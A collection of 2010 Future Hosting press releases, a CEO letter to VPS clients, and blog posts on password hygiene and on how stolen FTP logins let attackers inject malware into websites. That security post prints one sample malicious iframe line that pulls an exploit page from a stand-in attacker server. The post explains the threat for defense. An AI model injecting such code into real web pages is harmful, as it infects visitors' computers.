NOVI, Mich. (September 1, 2010) – Future Hosting, an Internet solutions provider serving SMBs and enterprises internationally and developer of Future Engineer™, today announced it is introducing full-scale upgrades across its entire line of hosting services, boosting resource allotments for existing customers without raising fees.

All existing customers will be automatically given a 50 percent increase in disk space as well as an increase in bandwidth, depending upon the level of the hosting package. The minimum monthly bandwidth allotment has been increased from 100GB to 2TB, a boost of a whopping 200 percent.

“Providing value for our customers is essential, especially as businesses seek to do more with less in these economic times. By taking advantage of economies of scale due to our robust growth, we are able to provide our customers with much larger resource allotments on their hosting plans without increasing costs. Coupled with our global expansion and recent upgrades to our automation systems, we continue to make Future Hosting an attractive choice for small to medium sized businesses,” said Future Hosting Chief Strategy Officer Stephen Kowalski.

Earlier this week, Future Hosting added VPS management capability to its Future Hosting Management Portal. Clients now have complete control of all of their Virtual Private Servers under a single username. VPS clients are also able to access the complete lineup of Future Hosting client support and billing services through the same interface.

Virtual Private Servers from Future Hosting are available in a wide variety of configurations, including on both managed and unmanaged plans. Clients are also able to locate their server in any of Future Hosting’s six international data centers, in Chicago, Dallas, Los Angeles, London, Seattle, or Washington, D.C.

Future Hosting is the developer of Future Engineer™, a technical support automation system designed to automate time consuming server configuration and repair tasks on Virtual Private Servers (VPS), Future Engineer™ allows clients to receive a greater level of technical support than is available when technicians spend their time performing routine or basic maintenance tasks. With Future Engineer™, technicians are free to spend their time offering a level of technical support that is unrivaled and otherwise unaffordable.

For more information about Future Hosting, please visit http://www.futurehosting.com.

About Future Hosting, LLC
Founded in 2001, Future Hosting is a privately held leading Internet solutions provider specializing in managed hosting, including Dedicated Servers, Virtual Private Servers, and Hybrid Virtual Private Servers. The company has built a strong reputation for its high-quality service, innovative pricing models, and 3-hour Service Level Agreement. Future Hosting is based in Novi, Mich.

NOVI, Mich. (August 30, 2010) – Future Hosting, an Internet solutions provider serving SMBs and enterprises internationally and developer of Future Engineer™, today introduced Virtual Private Server (VPS) management capability to its Future Hosting Management Portal (FHMP), which previously focused only on dedicated servers.

By adding VPS management capability, clients will have complete control of all of their Virtual Private Servers under a single username. VPS clients will also be able to access the complete lineup of Future Hosting client support and billing services through the same interface.

“By adding the ability for our VPS clients to manage and control their servers in this environment, our FHMP is finally becoming the ‘one stop shop’ we envisioned when we designed this solution. Our clients will be able to manage their entire array of products and services from Future Hosting in a fast, easy to use interface,” said Future Hosting Chief Technology Officer Nick Zyren.

Virtual Private Servers from Future Hosting are available in a wide variety of configurations, including on both managed and unmanaged plans. Clients are also able to locate their server in any of Future Hosting’s six international data centers, in Chicago, Dallas, Los Angeles, London, Seattle, or Washington, D.C.

Future Hosting is the developer of Future Engineer™, a technical support automation system designed to automate time consuming server configuration and repair tasks on Virtual Private Servers (VPS), Future Engineer™ allows clients to receive a greater level of technical support than is available when technicians spend their time performing routine or basic maintenance tasks. With Future Engineer™, technicians are free to spend their time offering a level of technical support that is unrivaled and otherwise unaffordable.

For more information about Future Hosting, please visit http://www.futurehosting.com.

About Future Hosting, LLC
Founded in 2001, Future Hosting is a privately held leading Internet solutions provider specializing in managed hosting, including Dedicated Servers, Virtual Private Servers, and Hybrid Virtual Private Servers. The company has built a strong reputation for its high-quality service, innovative pricing models, and 3-hour Service Level Agreement. Future Hosting is based in Novi, Mich.

NOVI, Mich. (August 25, 2010) – Future Hosting, an Internet solutions provider serving SMBs and enterprises internationally and developer of Future Engineer™, today launched Virtual Private Servers in Los Angeles, the company’s sixth international data center location and latest milestone in its global expansion plan.

The new location, which has been in development for the past several months, is significant as Future Hosting aims to serve more customers in Asia and on the West Coast of the United States. Customers are now able to purchase Future Hosting’s entire line of Virtual Private Servers in the Los Angeles facility. Additional services will be added in the coming months.

“For several years, we have made clear our commitment to globalizing our line of services. In the era of high-availability hosting and cloud infrastructure deployments, our customers need to be able to leverage our truly global reach to remain competitive. Our global, geographically diversified footprint will continue to grow,” said Vik Patel, Future Hosting president & CEO.

Virtual Private Servers from Future Hosting are available in a wide variety of configurations, including on both managed and unmanaged plans. Clients are also able to locate their server in any of Future Hosting’s six international data centers, in Chicago, Dallas, London, Seattle, Washington, D.C., and now Los Angeles.

Future Hosting is the developer of Future Engineer™, a technical support automation system designed to automate time consuming server configuration and repair tasks on Virtual Private Servers (VPS), Future Engineer™ allows clients to receive a greater level of technical support than is available when technicians spend their time performing routine or basic maintenance tasks. With Future Engineer™, technicians are free to spend their time offering a level of technical support that is unrivaled and otherwise unaffordable.
For more information about Future Hosting, please visit http://www.futurehosting.com.

About Future Hosting, LLC
Founded in 2001, Future Hosting is a privately held leading Internet solutions provider specializing in managed hosting, including Dedicated Servers, Virtual Private Servers, and Hybrid Virtual Private Servers. The company has built a strong reputation for its high-quality service, innovative pricing models, and 3-hour Service Level Agreement. Future Hosting is based in Novi, Mich.

Future Hosting Grows Global Footprint with Hybrid Servers in Chicago, Washington, D.C.

NOVI, Mich. (July 26, 2010) – Future Hosting, an Internet solutions provider serving SMBs and enterprises internationally and developer of Future Engineer™, today introduced Hybrid Servers in Chicago and Washington, D.C., further expanding the company’s global footprint. Hybrid Servers are also available in London and Dallas, allowing clients to now choose from four international cities.

Hybrid Servers from Future Hosting are unique, high-end Virtual Private Servers that deliver full management, high-availability, premium bandwidth, and access to either the cPanel or Plesk hosting control panel. Unlike standard Virtual Private Servers, Hybrid Servers offer an average of 1 CPU core per Hybrid Server and high-performance RAM, disk storage, and network connectivity.

“Offering truly global solutions for our clients remains a strategic goal for Future Hosting. In the past two years alone, we have more than quadrupled our international presence, and created the ability to offer full-service hosting solutions for companies based in the United States and abroad. By adding Hybrid Servers to two new major American cities, we are fulfilling our commitment to continuously build geographic diversity in our services and open the door to even further expansion in the months ahead. This is one more step in our march to globalization,” said Future Hosting Chief Strategy Officer Stephen Kowalski.

Hybrid Servers from Future Hosting are automatically backed up by the company’s next-generation Future Protect™ data protection service, which delivers the ultimate in protection against data loss. Starting Hybrid Server plans offer 80GB of disk space, 2GB of RAM, and 2000GB of premium bandwidth. All Hybrid Servers include SLA uptime of at least 99.9%.

In early July, Future Hosting added complete DNS management functionality to the Future Hosting Management Portal (FHMP), which provides dedicated server clients with complete control of their servers. FHMP is slated to eventually incorporate Hybrid servers, further enhancing user control.

Future Hosting is the developer of Future Engineer™, a technical support automation system designed to automate time consuming server configuration and repair tasks on Virtual Private Servers (VPS), Future Engineer™ allows clients to receive a greater level of technical support than is available when technicians spend their time performing routine or basic maintenance tasks. With Future Engineer™, technicians are free to spend their time offering a level of technical support that is unrivaled and otherwise unaffordable.

For more information about Future Hosting, please visit http://www.futurehosting.com.

For more information about Hybrid Servers from Future Hosting, please visit http://www.futurehosting.com/managed-hybrid-servers.

About Future Hosting, LLC

Founded in 2001, Future Hosting is a privately held leading Internet solutions provider specializing in managed hosting, including Dedicated Servers, Virtual Private Servers, and Hybrid Virtual Private Servers. The company has built a strong reputation for its high-quality service, innovative pricing models, and value-added features. Future Hosting is based in Novi, Mich.

The following letter was sent to existing VPS clients today:

I hope this letter finds you well. I’m writing today to provide information about several exciting upgrades that will affect your Virtual Private Server. As always, if you have any questions about this email or Future Hosting services in general, please do not hesitate to contact our customer support team.

1. Future Hosting Management Portal (FHMP)

If you have followed Future Hosting on Facebook or Twitter, you may have heard about our new Future Hosting Management Portal (FHMP). Developed for Future Hosting for more than a year, FHMP is a custom-built account management interface that delivers unprecedented control and ease of use for our clients. Its entire design was literally focused on feedback we have received from our clients in recent years.

Notably, FHMP includes the ability to use a single unified login to access billing, customer support, and server management functionality—there’s no need to keep track of separate URLs and usernames for each anymore. FHMP also offers a real-time management dashboard, which displays recent tickets, billing information, bandwidth usage, and other vital metrics about your Virtual Private Server. Additionally, FHMP finally delivers an easy-to-understand invoice system (our current system annoyingly sends multiple e-mails for each invoice which are not necessary).

Converting to FHMP is a complicated process, and we are moving clients over in small groups. We expect to begin the process on August 1, 2010. When your account is moved to FHMP, we will notify you via email with a new support ticket. Your patience during this period is greatly appreciated. Please let us know if you encounter any issues relating to the FHMP upgrade.

2. Hardware Upgrades and Free Added Disk Space

Several months ago, we began seeking even greater client feedback an in effort to find new ways to improve our services. We received a tremendous amount of responses, and our clients largely asked for two improvements: upgrade the management portal and increase disk space allotments. I’ve already outlined our action on the management portal above.

Today I’m happy to announce that we will increase disk space allotments by 50% for all Virtual Private Servers that have been at the Gold level or higher for at least the past three months. We will do so without raising any client costs or reducing any other features, and we will continue to utilize 15,000 RPM SAS hard drives in RAID configuration to assure optimal performance. Quality, as always, remains our goal.

All disk space upgrades will be applied during our upgrade to FHMP, and eligible clients will be notified when this upgrade has been applied. Please note that if the Virtual Private Server is downgraded at any time, the additional disk space will be forfeited from the account. Please let us know if you encounter any issues relating to the disk space upgrade.

3. Thank you for your support!

I want to take this opportunity to personally thank you for your continued support of Future Hosting. For nearly a decade, our entire team has worked to deliver the world’s best hosting services, and our entire business is built on this reputation.

I invite you to constantly provide us with feedback—let us know what’s working well and what isn’t. Positive or negative, your feedback matters to us, and it will never go unread. Beyond reaching out to our client support team, I also personally invite your ideas, thoughts, comments and concerns via email at ceo@futurehosting.com. Though I may not be able to respond to every email, I take time to read each message I receive, and this vital information will undoubtedly shape the future of our services.

Onward together,

Vik Patel
President & CEO
Future Hosting

NOVI, Mich. (July 13, 2010) –Future Hosting, an Internet solutions provider serving SMBs and enterprises internationally and developer of Future Engineer™, today added complete DNS management functionality to its Future Hosting Management Portal (FHMP), which provides dedicated server clients with complete control of their servers.

DNS management functionality enables dedicated server clients to manage forward and reverse DNS. Clients can also take advantage of Future Hosting’s geographically-redundant nameservers, which are spread across five international datacenters. The geographic diversity helps maximize uptime and reduce latency.

Future Hosting also added a variety of integrated network tools to its FHMP, including Ping, Traceroute, WHOIS lookups, and other basic tools.

“After launching our FHMP earlier this year, we’ve received a tremendous response from our loyal dedicated server clients. Today’s announcement represents the first of many iterations that will enhance the user experience and make our portal even more powerful,” said Future Hosting Chief Technical Officer Nick Zyren.

Dedicated Servers from Future Hosting are available in a wide variety of configurations, including on both managed and unmanaged plans. Clients are also able to locate their server in any of Future Hosting’s five international data centers, in Chicago, Dallas, London, Seattle, or Washington, D.C.

Future Hosting is the developer of Future Engineer™, a technical support automation system designed to automate time consuming server configuration and repair tasks on Virtual Private Servers (VPS), Future Engineer™ allows clients to receive a greater level of technical support than is available when technicians spend their time performing routine or basic maintenance tasks. With Future Engineer™, technicians are free to spend their time offering a level of technical support that is unrivaled and otherwise unaffordable.

For more information about Future Hosting, please visit http://www.futurehosting.com.

Remember the “This site may harm your computer” warning message that you
came across on Google when you were searching for something which looked
like this…

…or the warning shown on FireFox/Chrome which looked like this:

…or your anti-virus software alerting you that a threat has been detected
when accessing a certain website?

If it happens to be your website then your website is the victim of a
malware attack where malicious codes are injected in your web pages.
According to a 2009 Websense report (link),
77% of Web sites with malicious code are legitimate websites that have been
compromised. It also recorded a “671% growth in the number of malicious
websites detected in 2008 – 2009″.

Who makes malware and why do they?

Malware is created by hackers or groups of hackers who intentionally do it

for their own interests. These viruses/malwares can be designed to illegally

use a PCs resources without the knowledge of the user to steal data

including bank accounts, credit cards, passwords, etc.; launch distributed
network attacks (like DDoS) on other servers; obtrusively advertise products
or services in the form of pop-up ads; send spam; etc. Your PC becomes a
“zombie” and spreads the infection into other PCs and becomes part of the
cycle called a “zombie network”. This allows the master of the “zombie
network” to access resources of all infected computers and use them to their
own benefits. There are even “Software as a Service” (SaaS) type websites
that offer automated solutions for anyone who want to inject several
websites with iframe codes as reported in this news article (link) which is indeed shocking.

How will my website be affected when my PC is infected?

95% of the malware attacks occur via FTP where a malicious code (an iframe
usually) is injected into the website files. The hackers/attackers may even
upload malicious files for other evil activities. So once the virus in your
PC steals the FTP login details from your PC anything can happen with
disastrous results.

The virus in your PC can retrieve your FTP login details without your
knowledge and that is normally done using a couple of methods:

1) When you save your FTP login in your FTP client software (e.g. Filezilla,
CuteFTP, etc.), the virus in your PC can decrypt the logins stored in the
FTP client software data file and it sends the login details to a master
(evil) server which is then distributed to others (hackers) for uploading
the malicious codes on their request.

2) The virus in your PC could be key-logging or sniffing your FTP (or even a
control panel) traffic and would steal those information to the master
server, all without your knowledge.

What does the malicious code contain?

The malware is designed to do specific functions when the unsuspecting
visitor to your legitimate website access it on their browser. The most
popular malicious codes are iframe codes so that the code would execute
along with your web page in the background. The iframe code would probably
execute a link to the malicious file which is hosted on another remote
server and is downloaded through the unsuspecting visitor’s browser to their
PC and the cycle continues as that PC has become part of the zombie network
now.

Typical iframe code: < iframe src=evilserver.tld/getexploits.php border=0 >

In the above example, when getexploits.php is triggered through the browser
it may use vulnerabilities in the browser to exploit it.

What else can happen to the website when my FTP login is compromised?

Since the hackers are now able to upload files to your account through FTP,
other than injecting malicious codes to files they may even upload spamming
scripts to send spam emails from your server, they may upload DoS scripts to
launch distributed attacks on other servers, run IRC bots which can result
in extremely high bandwidth usage, etc. As a result of the malicious
activity your website will start losing traffic as search engines and
browsers will block your website and result in lower search engine ranking
and gets blacklisted as well. It just doesn’t matter how big or small your
website is and how malicious the hack is – this is the sort of relationship where malware (hackers) always win and legitimate websites always lose.
How can I safe guard my PC to prevent FTP login theft?

This will be extensively discussed in the next part of this security special
blog series, please stay tuned!

-
Arun
System Administrator
Future Hosting, LLC

You have to consider changing your passwords like doing a task that has to be done like going to the doctor for a check-up. Every now and again you have to change your password to maintain the health of your accounts online. Despite the crucial need to constantly change your passwords, the majority of people online do not change their passwords at all. Not only do some people not change their passwords, they choose incredibly weak passwords. Earlier this year, a popular site was breached and their users’ passwords were posted online. In an analysis of these passwords some of the most common passwords used were ‘123456’, ‘Password’, and ‘iloveyou’. Keep in mind as the good guys (us) keeping on getting smarter about security, the bad guys are getting equally as smart.

On our end we do our best to secure your account at Future Hosting, but you could give us some assistance to habitually change your passwords. Here internally at Future Hosting we change our passwords frequently, and we suggest you do the same.

Here are some guidelines to have a strong password:

•Use a random password generator (I recommend the one at The BitMill Inc.  – http://www.thebitmill.com/tools/password.html)
•Use as many characters as possible and mix them between numbers and letters (and possibly special characters if allowed)
•Make sure to use non-dictionary words, because those are the easiest to brute force attack (you can check to make sure at dictionary.com)

NEVER do these:

•Share your password with co-workers, friends, or family
•Write down your password on a note and attach it to your monitor
•Use a common password (http://www.pcmag.com/article2/0,2817,2113976,00.asp)

Now go change your password!!!

NOVI, Mich. (April 12, 2010) – Future Hosting, an Internet solutions provider serving SMBs and enterprises internationally and developer of Future Engineer™, today expanded its popular internal affiliate program, the Future Hosting Partner Program, to allow non-clients to participate and receive cash payouts. The program will also reward the top-affiliate with a $500 cash bonus.